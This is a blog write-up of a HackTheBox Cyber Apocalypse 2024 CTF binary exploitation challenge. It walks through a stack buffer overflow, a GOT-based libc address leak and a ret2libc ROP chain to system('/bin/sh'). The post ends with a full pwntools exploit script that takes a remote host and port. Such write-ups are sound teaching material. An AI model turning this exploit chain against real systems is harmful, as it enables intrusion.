CTF Binary Exploitation – Cyber Apocalypse 2024: Hacker Royale – Pet Companion

Hello everyone!

Today I want to write a couple of write-ups of a CTF that we have participated with our work colleagues from Exness. As I’m trying to improve in binary exploitation topic I would like to document here some challenges that I’ve found that were interesting.

This is the CTF link:

https://www.hackthebox.com/events/cyber-apocalypse-2024

And this is the team that we were part of:

https://ctftime.org/team/198916

First of all, don’t use this document as a guide, I can say something that is not 100% correct. I’m more used to binary exploitation in Windows than in Linux.

Another thing that I would like to comment is that what you are going to see here is the exploitation of the binary without using pwntools. I know that is easier and faster to use that python library, but my goal for now is try to learn as much as I can about the topic, and I’ve found that is better for me to do it without pwntools.

Said that… let’s start!

Binary Normal Behaviour

In my case, the first thing that I did was to execute the binary and see what was the normal behaviour, it was expecting to receive an string:

After that I opened the binary in IDA and I saw that the function seemed vulnerable to a Buffer Overflow

Stack Buffer Overflow

To start the exploitation process I’m going to use the following python exploit skeleton:

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
#!/usr/bin/env python3
from pwn import *
import struct
import sys
context.binary = elf = ELF('pet_companion', checksec=False)
glibc = ELF('glibc/libc.so.6', checksec=False)
rop = ROP(elf)
def get_process():
if len(sys.argv) == 1:
return elf.process()
host, port = sys.argv[1].split(':')
return remote(host, port)
def main():
p = get_process()
### FIRST PAYLOAD - GLIBC ADDRESS LEAK
offset = 200
junk = b'A' * offset
payload = junk
with open('payload', 'wb') as f:
f.write(payload)
#!/usr/bin/env python3 from pwn import * import struct import sys context.binary = elf = ELF('pet_companion', checksec=False) glibc = ELF('glibc/libc.so.6', checksec=False) rop = ROP(elf) def get_process(): if len(sys.argv) == 1: return elf.process() host, port = sys.argv[1].split(':') return remote(host, port) def main(): p = get_process() ### FIRST PAYLOAD - GLIBC ADDRESS LEAK offset = 200 junk = b'A' * offset payload = junk with open('payload', 'wb') as f: f.write(payload)
#!/usr/bin/env python3
 
from pwn import *
import struct
import sys
 
context.binary = elf = ELF('pet_companion', checksec=False)
glibc = ELF('glibc/libc.so.6', checksec=False)
rop = ROP(elf)
 
 
def get_process():
    if len(sys.argv) == 1:
        return elf.process()
 
    host, port = sys.argv[1].split(':')
    return remote(host, port)
 
 
def main():
    p = get_process()

    ### FIRST PAYLOAD - GLIBC ADDRESS LEAK
 
    offset = 200
    junk = b'A' * offset
    payload  = junk
	
    with open('payload', 'wb') as f:
      f.write(payload)

I’m going to start sending 200 A’s:

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
offset = 200
junk = b'A' * offset
payload = junk
offset = 200 junk = b'A' * offset payload = junk
offset = 200
junk = b'A' * offset
payload  = junk

And I can see that the binary is vulnerable to stack buffer overflow:

It may seem that we don’t have control over RIP register, because he see instead of 8 A’s the following value: “0x00000000004006df”

But this is not true, RIP can’t contain AAAAAAAA (0x4141414141414141) because it’s considered a non-canonical memory address, or, in other words, 0x4141414141414141 is a 64-bit wide address and current CPUs prevent applications and OSes to use 64-bit wide addresses.

You can read more about it in the following reference:
https://www.ired.team/offensive-security/code-injection-process-injection/binary-exploitation/64-bit-stack-based-buffer-overflow

RIP Position Identification

The process that I followed to see where I was overwritting RIP is to first of all, generate a pattern:

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
msf-pattern_create -l 200
msf-pattern_create -l 200
msf-pattern_create -l 200

Then I select the first 4 bytes in the stack:

And I look for them and I find the offset:

Finnally, I confirm that we located RIP correctly:

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
offset = 72
junk = b'A' * offset
payload = junk
payload += struct.pack('<Q', 0x0000424242424242) # RIP
offset = 72 junk = b'A' * offset payload = junk payload += struct.pack('<Q', 0x0000424242424242) # RIP
offset = 72
junk = b'A' * offset

payload  = junk
payload += struct.pack('<Q', 0x0000424242424242) # RIP

Binary Protections

ASLR protection should be enabled, this is a way to check it:

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
readelf -l pet_companion | grep "GNU_STACK"
readelf -l pet_companion | grep "GNU_STACK"
readelf -l pet_companion | grep "GNU_STACK"

But I want to confirm it. I execute the binary and I find his PID. Then I check it’s process maps:

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
cat /proc/4112016/maps
00400000-00401000 r-xp 00000000 08:01 3950499 /home/revil/Documents/CTF/HTB02/pet/challenge/pet_companion
...
7feede600000-7feede7e7000 r-xp 00000000 08:01 3950502 /home/revil/Documents/CTF/HTB02/pet/challenge/glibc/libc.so.6
...
cat /proc/4112016/maps 00400000-00401000 r-xp 00000000 08:01 3950499 /home/revil/Documents/CTF/HTB02/pet/challenge/pet_companion ... 7feede600000-7feede7e7000 r-xp 00000000 08:01 3950502 /home/revil/Documents/CTF/HTB02/pet/challenge/glibc/libc.so.6 ...
cat /proc/4112016/maps
00400000-00401000 r-xp 00000000 08:01 3950499                            /home/revil/Documents/CTF/HTB02/pet/challenge/pet_companion
...
7feede600000-7feede7e7000 r-xp 00000000 08:01 3950502                    /home/revil/Documents/CTF/HTB02/pet/challenge/glibc/libc.so.6
...

Then I close it and execute it again, to see if they memory addresses have changed:

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
cat /proc/4112016/maps
00400000-00401000 r-xp 00000000 08:01 3950499 /home/revil/Documents/CTF/HTB02/pet/challenge/pet_companion
...
7fcdf5c00000-7fcdf5de7000 r-xp 00000000 08:01 3950502 /home/revil/Documents/CTF/HTB02/pet/challenge/glibc/libc.so.6
...
cat /proc/4112016/maps 00400000-00401000 r-xp 00000000 08:01 3950499 /home/revil/Documents/CTF/HTB02/pet/challenge/pet_companion ... 7fcdf5c00000-7fcdf5de7000 r-xp 00000000 08:01 3950502 /home/revil/Documents/CTF/HTB02/pet/challenge/glibc/libc.so.6 ...
cat /proc/4112016/maps
00400000-00401000 r-xp 00000000 08:01 3950499                            /home/revil/Documents/CTF/HTB02/pet/challenge/pet_companion
...
7fcdf5c00000-7fcdf5de7000 r-xp 00000000 08:01 3950502                    /home/revil/Documents/CTF/HTB02/pet/challenge/glibc/libc.so.6
...

NX protection is also enabled, this means that the stack is not executable and that we need to use ROP. We can verify this by using the command “checksec” in GDB:

LIBC memory address leak

So the next step, is to leak a LIBC memory address, that is needed before being able to find rop gadgets in LIBC and use them to make a system syscall and get a shell.

To leak LIBC memory address I used the following trick. Thank you Toni!!! =)


First we need locate a write function that is called in the binary itself, then prepare the function call to write setting up the function parameters. And finnally execute the call and display in the screen a memory address of LIBC.

Let’s remember how to pass parameters to a function in x64. We need to use registers in the following order: RDI, RSI, RDX, RCX, R8 and R9. If there are more parameters, they need to be in the stack.

Then also, let’s check the linux syscall write:

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
ssize_t write(int fd, const void buf[.count], size_t count);
ssize_t write(int fd, const void buf[.count], size_t count);
ssize_t write(int fd, const void buf[.count], size_t count);

So let’s start with the first part of the process. Let’s prepare the function call parameters, we need a 1 that is the value related with the file descriptor STDOUT to print in the screen, and we need it in the register RDI.

To find a “POP RDI” gadget I use Ropper tool:
https://github.com/sashs/Ropper

And I use the following command:

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
ropper --file ../../challenge/glibc/libc.so.6 -a x86_64 --search "pop rsi"
ropper --file ../../challenge/glibc/libc.so.6 -a x86_64 --search "pop rsi"
ropper --file ../../challenge/glibc/libc.so.6 -a x86_64 --search "pop rsi"

Then we put this gadget and the value 1 of the file descriptor in the code:

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
payload = junk
payload += struct.pack('<Q', 0x0000000000400743) # POP RDI, RET pet companion binary
payload += struct.pack('<Q', 0x1) # STDOUT
payload = junk payload += struct.pack('<Q', 0x0000000000400743) # POP RDI, RET pet companion binary payload += struct.pack('<Q', 0x1) # STDOUT
payload  = junk
payload += struct.pack('<Q', 0x0000000000400743) # POP RDI, RET                  pet companion binary
payload += struct.pack('<Q', 0x1)                # STDOUT

Now that we have the file descriptor ready, we need to setup in RSI the second parameter, that is the buffer.

I use again Ropper and I find a gadget to pop the value that we need in the register RSI. Also, we need to find the write function GOT table inside the binary. That is what is going to give us a valid address inside GLIBC. We can use the following command:

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
objdump -R ../../challenge/pet_companion | grep -i write
objdump -R ../../challenge/pet_companion | grep -i write
objdump -R ../../challenge/pet_companion | grep -i write

This is the final code for this part, you may notice that I pop a junk value after the GOT write one, this is because the gadget that I’ve found will pop something else in another register that we don’t need.

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
payload += struct.pack('<Q', 0x0000000000400741) # POP RSI, POP R15, RET pet companion binary
# objdump -R ../../challenge/pet_companion | grep -i write
payload += struct.pack('<Q', 0x0000000000600fd8) # GOT WRITE FUNCTION pet companion binary
payload += struct.pack('<Q', 0xFF) # JUNK
payload += struct.pack('<Q', 0x0000000000400741) # POP RSI, POP R15, RET pet companion binary # objdump -R ../../challenge/pet_companion | grep -i write payload += struct.pack('<Q', 0x0000000000600fd8) # GOT WRITE FUNCTION pet companion binary payload += struct.pack('<Q', 0xFF) # JUNK
payload += struct.pack('<Q', 0x0000000000400741) # POP RSI, POP R15, RET         pet companion binary

# objdump -R ../../challenge/pet_companion | grep -i write
payload += struct.pack('<Q', 0x0000000000600fd8) # GOT WRITE FUNCTION            pet companion binary
payload += struct.pack('<Q', 0xFF)               # JUNK

Now we need to call the write function PLT, to locate it we can use the following command:

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
objdump -d -j .plt ../../challenge/pet_companion | grep -i write
objdump -d -j .plt ../../challenge/pet_companion | grep -i write
objdump -d -j .plt ../../challenge/pet_companion | grep -i write

And this is the memory address:

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
# objdump -d -j .plt ../../challenge/pet_companion | grep -i write
payload += struct.pack('<Q', 0x00000000004004f0) # PLT WRITE FUNCTION pet companion binary
# objdump -d -j .plt ../../challenge/pet_companion | grep -i write payload += struct.pack('<Q', 0x00000000004004f0) # PLT WRITE FUNCTION pet companion binary
# objdump -d -j .plt ../../challenge/pet_companion | grep -i write
payload += struct.pack('<Q', 0x00000000004004f0) # PLT WRITE FUNCTION             pet companion binary

The last thing that we want is to go back to the binary main function, to avoid breaking execution flow. To locate the binary main address we can do it in different ways, for example we can use this command:

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
objdump -t ../../challenge/pet_companion | grep -i main
objdump -t ../../challenge/pet_companion | grep -i main
objdump -t ../../challenge/pet_companion | grep -i main

And this is the memory address that we need:

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
# objdump -t ../../challenge/pet_companion | grep -i main
payload += struct.pack('<Q', 0x000000000040064a) # BINARY MAIN FUNCTION pet companion binary
# objdump -t ../../challenge/pet_companion | grep -i main payload += struct.pack('<Q', 0x000000000040064a) # BINARY MAIN FUNCTION pet companion binary
# objdump -t ../../challenge/pet_companion | grep -i main
payload += struct.pack('<Q', 0x000000000040064a) # BINARY MAIN FUNCTION             pet companion binary

Let’s try this part of the exploit, and looks that we are receiving some response 🙂

Parsing LIBC write call memory address

To parse correctly the memory address that we are receiving I use the following piece of code:

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
p.sendlineafter(b"Set your pet companion's current status:", payload)
print(f'-------{p.recvline()}')
print(f'-------{p.recvline()}')
print(f'-------{p.recvline()}')
write_addr = u64(p.recvline().strip()[:8])
write_addr2 = int((hex(write_addr)),16)
p.info(f'Leaked write() address: {hex(write_addr)}')
p.sendlineafter(b"Set your pet companion's current status:", payload) print(f'-------{p.recvline()}') print(f'-------{p.recvline()}') print(f'-------{p.recvline()}') write_addr = u64(p.recvline().strip()[:8]) write_addr2 = int((hex(write_addr)),16) p.info(f'Leaked write() address: {hex(write_addr)}')
p.sendlineafter(b"Set your pet companion's current status:", payload)
print(f'-------{p.recvline()}')
print(f'-------{p.recvline()}')
print(f'-------{p.recvline()}')
write_addr = u64(p.recvline().strip()[:8])
write_addr2 = int((hex(write_addr)),16)
p.info(f'Leaked write() address: {hex(write_addr)}')

Calculating LIBC base address

We need to take into consideration that we are leaking write address call that is inside LIBC, so we are not leaking the LIBC base address.

To calculate the LIBC base address we need to do some maths.

First, we identify where is write call located inside LIBC:

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
readelf -s ../../challenge/glibc/libc.so.6 | grep write
readelf -s ../../challenge/glibc/libc.so.6 | grep write
readelf -s ../../challenge/glibc/libc.so.6 | grep write

Then we save it in the code:

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
# readelf -s ../../challenge/glibc/libc.so.6 | grep write
write_relative_addr = 0x00000000001100f0
# readelf -s ../../challenge/glibc/libc.so.6 | grep write write_relative_addr = 0x00000000001100f0
# readelf -s ../../challenge/glibc/libc.so.6 | grep write
write_relative_addr = 0x00000000001100f0

After that, we can do the calculations:

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
glibc_base_addr = b = write_addr2 - write_relative_addr
glibc_base_addr = b = write_addr2 - write_relative_addr
glibc_base_addr = b = write_addr2 - write_relative_addr

And we verify that it’s correct:

System Call using ROP

The next step is to build a rop chain to execute a system call and get a shell.

What we need to do isthe following:

  1. Put in RDI the string “/bin/sh”
  2. Do a system syscall
  3. Do an exit syscall
  4. Be sure that our stack is aligned (multiple of 16)

To do all these things I need at least 4 things, first the string “/bin/sh”. I can find it by doing this:

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
strings -a -t x ../../challenge/glibc/libc.so.6 | grep /bin/sh
strings -a -t x ../../challenge/glibc/libc.so.6 | grep /bin/sh
strings -a -t x ../../challenge/glibc/libc.so.6 | grep /bin/sh

Then a system call:

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
readelf -s ../../challenge/glibc/libc.so.6 | grep system
readelf -s ../../challenge/glibc/libc.so.6 | grep system
readelf -s ../../challenge/glibc/libc.so.6 | grep system

After that an exit call:

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
readelf -s ../../challenge/glibc/libc.so.6 | grep exit
readelf -s ../../challenge/glibc/libc.so.6 | grep exit
readelf -s ../../challenge/glibc/libc.so.6 | grep exit

And to do the stack alignment we just need to add a simple RET instruction that we can find using Ropper.

You can find all the code for this part together in the following code snippet:

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
payload = junk
payload += struct.pack('<Q', b + 0x00000000000c76a2) # RET (Stack Alignment) glibc
payload += struct.pack('<Q', b + 0x000000000002164f) # POP RDI, RET glibc
# strings -a -t x ../../challenge/glibc/libc.so.6 | grep /bin/sh
payload += struct.pack('<Q', b + 0x1b3d88) # "/bin/sh" glibc
payload += struct.pack('<Q', b + 0x00000000000c76a2) # RET (Stack Alignment) glibc
# readelf -s ../../challenge/glibc/libc.so.6 | grep system
payload += struct.pack('<Q', b + 0x000000000004f420) # SYSTEM CALL glibc
# readelf -s ../../challenge/glibc/libc.so.6 | grep exit
payload += struct.pack('<Q', b + 0x00000000043110) # EXIT CALL glibc
p.sendlineafter(b"Set your pet companion's current status:", payload)
p.interactive()
payload = junk payload += struct.pack('<Q', b + 0x00000000000c76a2) # RET (Stack Alignment) glibc payload += struct.pack('<Q', b + 0x000000000002164f) # POP RDI, RET glibc # strings -a -t x ../../challenge/glibc/libc.so.6 | grep /bin/sh payload += struct.pack('<Q', b + 0x1b3d88) # "/bin/sh" glibc payload += struct.pack('<Q', b + 0x00000000000c76a2) # RET (Stack Alignment) glibc # readelf -s ../../challenge/glibc/libc.so.6 | grep system payload += struct.pack('<Q', b + 0x000000000004f420) # SYSTEM CALL glibc # readelf -s ../../challenge/glibc/libc.so.6 | grep exit payload += struct.pack('<Q', b + 0x00000000043110) # EXIT CALL glibc p.sendlineafter(b"Set your pet companion's current status:", payload) p.interactive()
payload  = junk
payload += struct.pack('<Q', b + 0x00000000000c76a2) # RET (Stack Alignment)            glibc
payload += struct.pack('<Q', b + 0x000000000002164f) # POP RDI, RET                     glibc
    
# strings -a -t x ../../challenge/glibc/libc.so.6 | grep /bin/sh
payload += struct.pack('<Q', b + 0x1b3d88)           # "/bin/sh"                        glibc
   
payload += struct.pack('<Q', b + 0x00000000000c76a2) # RET (Stack Alignment)            glibc

# readelf -s ../../challenge/glibc/libc.so.6 | grep system 
payload += struct.pack('<Q', b + 0x000000000004f420) # SYSTEM CALL                      glibc

# readelf -s ../../challenge/glibc/libc.so.6 | grep exit
payload += struct.pack('<Q', b + 0x00000000043110)   # EXIT CALL                        glibc

p.sendlineafter(b"Set your pet companion's current status:", payload)
p.interactive()

Final Exploit

So if we put everything together, the LIBC memory leak, the base_address calculation and the system call we get a shell:

And this is the final exploit:

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
#!/usr/bin/env python3
from pwn import *
import struct
import sys
context.binary = elf = ELF('pet_companion', checksec=False)
glibc = ELF('glibc/libc.so.6', checksec=False)
rop = ROP(elf)
def get_process():
if len(sys.argv) == 1:
return elf.process()
host, port = sys.argv[1].split(':')
return remote(host, port)
def main():
p = get_process()
### FIRST PAYLOAD - GLIBC ADDRESS LEAK
offset = 72
junk = b'A' * offset
payload = junk
payload += struct.pack('<Q', 0x0000000000400743) # POP RDI, RET pet companion binary
payload += struct.pack('<Q', 0x1) # STDOUT
payload += struct.pack('<Q', 0x0000000000400741) # POP RSI, POP R15, RET pet companion binary
# objdump -R ../../challenge/pet_companion | grep -i write
payload += struct.pack('<Q', 0x0000000000600fd8) # GOT WRITE FUNCTION pet companion binary
payload += struct.pack('<Q', 0xFF) # JUNK
# objdump -d -j .plt ../../challenge/pet_companion | grep -i write
payload += struct.pack('<Q', 0x00000000004004f0) # PLT WRITE FUNCTION pet companion binary
# bjdump -t ../../challenge/pet_companion | grep -i main
payload += struct.pack('<Q', 0x000000000040064a) # BINARY MAIN FUNCTION pet companion binary
with open('payload', 'wb') as f:
f.write(payload)
p.sendlineafter(b"Set your pet companion's current status:", payload)
print(f'-------{p.recvline()}')
print(f'-------{p.recvline()}')
print(f'-------{p.recvline()}')
write_addr = u64(p.recvline().strip()[:8])
write_addr2 = int((hex(write_addr)),16)
p.info(f'Leaked write() address: {hex(write_addr)}')
# readelf -s ../../challenge/glibc/libc.so.6 | grep write
write_relative_addr = 0x00000000001100f0
glibc_base_addr = b = write_addr2 - write_relative_addr
### SECOND PAYLOAD - SHELL
payload = junk
payload += struct.pack('<Q', b + 0x00000000000c76a2) # RET (Stack Alignment) glibc
payload += struct.pack('<Q', b + 0x000000000002164f) # POP RDI, RET glibc
# strings -a -t x ../../challenge/glibc/libc.so.6 | grep /bin/sh
payload += struct.pack('<Q', b + 0x1b3d88) # "/bin/sh" glibc
payload += struct.pack('<Q', b + 0x00000000000c76a2) # RET (Stack Alignment) glibc
# readelf -s ../../challenge/glibc/libc.so.6 | grep system
payload += struct.pack('<Q', b + 0x000000000004f420) # SYSTEM CALL glibc
# readelf -s ../../challenge/glibc/libc.so.6 | grep exit
payload += struct.pack('<Q', b + 0x00000000043110) # EXIT CALL glibc
p.sendlineafter(b"Set your pet companion's current status:", payload)
p.interactive()
if __name__ == '__main__':
main()
#!/usr/bin/env python3 from pwn import * import struct import sys context.binary = elf = ELF('pet_companion', checksec=False) glibc = ELF('glibc/libc.so.6', checksec=False) rop = ROP(elf) def get_process(): if len(sys.argv) == 1: return elf.process() host, port = sys.argv[1].split(':') return remote(host, port) def main(): p = get_process() ### FIRST PAYLOAD - GLIBC ADDRESS LEAK offset = 72 junk = b'A' * offset payload = junk payload += struct.pack('<Q', 0x0000000000400743) # POP RDI, RET pet companion binary payload += struct.pack('<Q', 0x1) # STDOUT payload += struct.pack('<Q', 0x0000000000400741) # POP RSI, POP R15, RET pet companion binary # objdump -R ../../challenge/pet_companion | grep -i write payload += struct.pack('<Q', 0x0000000000600fd8) # GOT WRITE FUNCTION pet companion binary payload += struct.pack('<Q', 0xFF) # JUNK # objdump -d -j .plt ../../challenge/pet_companion | grep -i write payload += struct.pack('<Q', 0x00000000004004f0) # PLT WRITE FUNCTION pet companion binary # bjdump -t ../../challenge/pet_companion | grep -i main payload += struct.pack('<Q', 0x000000000040064a) # BINARY MAIN FUNCTION pet companion binary with open('payload', 'wb') as f: f.write(payload) p.sendlineafter(b"Set your pet companion's current status:", payload) print(f'-------{p.recvline()}') print(f'-------{p.recvline()}') print(f'-------{p.recvline()}') write_addr = u64(p.recvline().strip()[:8]) write_addr2 = int((hex(write_addr)),16) p.info(f'Leaked write() address: {hex(write_addr)}') # readelf -s ../../challenge/glibc/libc.so.6 | grep write write_relative_addr = 0x00000000001100f0 glibc_base_addr = b = write_addr2 - write_relative_addr ### SECOND PAYLOAD - SHELL payload = junk payload += struct.pack('<Q', b + 0x00000000000c76a2) # RET (Stack Alignment) glibc payload += struct.pack('<Q', b + 0x000000000002164f) # POP RDI, RET glibc # strings -a -t x ../../challenge/glibc/libc.so.6 | grep /bin/sh payload += struct.pack('<Q', b + 0x1b3d88) # "/bin/sh" glibc payload += struct.pack('<Q', b + 0x00000000000c76a2) # RET (Stack Alignment) glibc # readelf -s ../../challenge/glibc/libc.so.6 | grep system payload += struct.pack('<Q', b + 0x000000000004f420) # SYSTEM CALL glibc # readelf -s ../../challenge/glibc/libc.so.6 | grep exit payload += struct.pack('<Q', b + 0x00000000043110) # EXIT CALL glibc p.sendlineafter(b"Set your pet companion's current status:", payload) p.interactive() if __name__ == '__main__': main()
#!/usr/bin/env python3
 
from pwn import *
import struct
import sys
 
context.binary = elf = ELF('pet_companion', checksec=False)
glibc = ELF('glibc/libc.so.6', checksec=False)
rop = ROP(elf)
 
 
def get_process():
    if len(sys.argv) == 1:
        return elf.process()
 
    host, port = sys.argv[1].split(':')
    return remote(host, port)
 
 
def main():
    p = get_process()

    ### FIRST PAYLOAD - GLIBC ADDRESS LEAK
 
    offset = 72
    junk = b'A' * offset
 
    payload  = junk
    payload += struct.pack('<Q', 0x0000000000400743) # POP RDI, RET                  pet companion binary
    payload += struct.pack('<Q', 0x1)                # STDOUT
    payload += struct.pack('<Q', 0x0000000000400741) # POP RSI, POP R15, RET         pet companion binary

    # objdump -R ../../challenge/pet_companion | grep -i write
    payload += struct.pack('<Q', 0x0000000000600fd8) # GOT WRITE FUNCTION            pet companion binary
    payload += struct.pack('<Q', 0xFF)               # JUNK
    
    # objdump -d -j .plt ../../challenge/pet_companion | grep -i write
    payload += struct.pack('<Q', 0x00000000004004f0) # PLT WRITE FUNCTION             pet companion binary

    # bjdump -t ../../challenge/pet_companion | grep -i main
    payload += struct.pack('<Q', 0x000000000040064a) # BINARY MAIN FUNCTION             pet companion binary

    with open('payload', 'wb') as f:
      f.write(payload)

    p.sendlineafter(b"Set your pet companion's current status:", payload)
    print(f'-------{p.recvline()}')
    print(f'-------{p.recvline()}')
    print(f'-------{p.recvline()}')
    write_addr = u64(p.recvline().strip()[:8])
    write_addr2 = int((hex(write_addr)),16)
    p.info(f'Leaked write() address: {hex(write_addr)}')

    # readelf -s ../../challenge/glibc/libc.so.6 | grep write
    write_relative_addr = 0x00000000001100f0
    
    glibc_base_addr = b = write_addr2 - write_relative_addr

    ### SECOND PAYLOAD - SHELL
 
    payload  = junk
    payload += struct.pack('<Q', b + 0x00000000000c76a2) # RET (Stack Alignment)            glibc
    payload += struct.pack('<Q', b + 0x000000000002164f) # POP RDI, RET                     glibc
    
    # strings -a -t x ../../challenge/glibc/libc.so.6 | grep /bin/sh
    payload += struct.pack('<Q', b + 0x1b3d88)           # "/bin/sh"                        glibc
   
    payload += struct.pack('<Q', b + 0x00000000000c76a2) # RET (Stack Alignment)            glibc

    # readelf -s ../../challenge/glibc/libc.so.6 | grep system 
    payload += struct.pack('<Q', b + 0x000000000004f420) # SYSTEM CALL                      glibc

    # readelf -s ../../challenge/glibc/libc.so.6 | grep exit
    payload += struct.pack('<Q', b + 0x00000000043110)   # EXIT CALL                        glibc

    p.sendlineafter(b"Set your pet companion's current status:", payload)
    p.interactive()
 
if __name__ == '__main__':
    main()
This entry was posted in Exploiting and tagged , , , , , , . Bookmark the permalink.

Leave a Reply

Your email address will not be published. Required fields are marked *